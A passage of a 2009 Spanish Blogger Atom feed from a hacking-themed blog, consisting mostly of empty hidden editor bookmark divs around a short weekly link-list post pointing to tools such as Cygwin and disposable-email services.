id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463404580" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463404581" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463404582" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463404583" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463404584" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463404585" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463493807" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463493810" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463494000" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463494003" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463494005" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463494006" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463494007" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463494008" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463494011" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463494012" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463494013" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463494014" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463494015" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463494015" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463505296" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463505301" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463505303" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463505465" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463505467" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463505468" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463505469" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463505471" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463505472" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463505473" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463505474" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463505476" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463505477" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463505478" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463505479" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523345605" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523345648" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523345649" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523345651" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523345652" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523345653" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523345655" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523345656" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523345656" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523345657" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523345658" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523345659" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523345660" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523345662" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523345664" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523345686" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523346378" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523346379" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523346381" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523346382" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523346383" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523346384" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523346385" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523346387" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523346388" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523346389" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523346390" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523346391" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523443641" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523443642" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523443643" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523443645" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523443646" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523443647" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523443647" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523443648" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523443649" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523443650" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523443651" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523443652" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523461998" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523461999" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523462118" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523462119" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523462120" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523462121" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523462122" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523462123" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523462125" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523462126" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523462127" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523462128" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523462129" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523462130" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523462189" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523462190" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523462191" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523462192" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523462193" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523462194" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523462196" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523462197" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523462198" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523462199" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523462201" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523462202" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523498642" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523498644" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523498737" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523498739" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523498740" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523498742" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523498743" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523498744" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523498745" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523498746" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523498747" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523498748" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523498749" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523498750" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523498818" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523498819" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523498820" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523498822" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523498823" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523498824" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523498825" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523498826" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523498827" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523498828" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523498830" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523498831" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236523903467" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-1388149353785226907?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/1388149353785226907/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=1388149353785226907' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/1388149353785226907'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/1388149353785226907'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/03/ensena-hablar-tu-pc.html' title='Enseña a hablar a tu PC'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-7838667004653536671</id><published>2009-03-07T13:49:00.005+01:00</published><updated>2009-03-08T16:33:04.569+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='La Semana'/><title type='text'>La Semana #0</title><content type='html'>Bueno, hemos decidido que más o menos cada semana haremos una entrada como esta con una lista de links, imágenes y demás... Lo que hemos leído, visto, etc...&lt;br /&gt;ESTA SEMANA:&lt;br /&gt;&lt;a href=http://www.cygwin.com/&gt;CygWin&lt;/a&gt;&lt;br /&gt;&lt;a href=http://imgur.com/EYY9.png&gt;Imagen Google (ingles)&lt;/a&gt;&lt;br /&gt;&lt;a href=http://mattkruse.com/2008/12/24/php-excel-reader/&gt;PHP Excel Reader&lt;/a&gt;   [HABRÁ ENTRADA SOBRE ESTO]&lt;br /&gt;&lt;a href=http://cl1p.net/stilly/&gt;My espacio cl1p&lt;/a&gt;&lt;br /&gt;&lt;a href=http://ehpm-ezine.blogactivo.net/&gt;EHPM Ezine&lt;/a&gt;&lt;br /&gt;&lt;a href=http://www.depurando.com/index.php?topic=475.msg2219#msg2219&gt;Foro depurando&lt;/a&gt;&lt;br /&gt;&lt;a href=http://sourceforge.net/&gt;Sourceforge&lt;/a&gt;&lt;br /&gt;&lt;a href=http://spambox.us/es_ES/&gt;Spambox&lt;/a&gt;&lt;br /&gt;&lt;a href=http://bugmenot.com/&gt;Bugmenot&lt;/a&gt;&lt;br /&gt;&lt;a href=http://guerrillamail.com/&gt;Guerrillamail&lt;/a&gt;&lt;br /&gt;&lt;div style="visibility: hidden;" title="1236430153128" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430153136" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430153190" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430153191" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430153193" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430153194" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430153195" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430153196" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430153197" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430153198" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430153199" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430153199" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430153200" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430153201" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430153719" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430153720" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430153722" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430153723" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430153725" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430153727" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430153728" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430153728" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430153729" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430153731" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430209736" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430209738" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430209739" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430209938" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430209939" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430209941" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430209942" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430209943" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430209944" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430209945" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430209946" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430209947" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430209949" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430217788" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430217789" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430217791" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430217903" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430217905" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430217907" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430217909" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430217912" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430217913" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430217914" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430217915" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430217917" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430217919" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430217990" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430217993" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430217994" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430217995" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430217997" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430217998" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430217999" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430218000" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430218001" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430218002" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430226873" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430226875" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430227082" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430227083" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430227085" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430227086" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430227087" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430227088" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430227089" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430227090" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430227090" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430227091" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430244589" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430244591" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430244592" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430244760" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430244761" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430244762" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430244763" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430244765" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430244766" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430244767" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430244768" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430244769" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430244770" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430259281" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430259282" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430259472" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430259474" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430259475" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430259477" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430259478" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430259479" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430259480" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430259481" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430259482" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430259483" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430265327" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430265330" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430265523" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430265527" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430265528" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430265529" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430265530" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430265532" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430265534" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430265535" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430265536" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430265537" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430270644" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430270646" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430270857" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430270858" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430270859" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430270862" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430270863" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430270864" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430270865" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430270866" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430270867" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430270870" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430320388" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430320391" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430320392" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430320393" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430320586" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430320587" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430320589" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430320590" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236430320592" 